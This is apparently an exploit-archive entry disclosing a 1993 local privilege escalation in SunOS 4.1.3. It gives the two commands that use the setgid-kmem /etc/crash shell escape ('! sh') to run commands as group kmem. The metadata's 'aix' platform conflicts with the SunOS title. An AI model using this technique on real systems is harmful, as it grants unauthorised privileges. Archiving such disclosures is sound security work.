SunOS 4.1.3 - '/etc/crash' SetGID kmem Privilege Escalation

Author: anonymous
type: local
platform: aix
port: 0
date_added: 1993-02-03
date_updated: 2017-11-22
verified: 1
codes: OSVDB-17059
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source: https://www.securityfocus.com/bid/59/info

/etc/crash was installed setgid kmem and excutable by anyone. Any user can use the ! shell command escape to executes commands, which are then performed with group set to kmem.

$ /etc/crash
! sh
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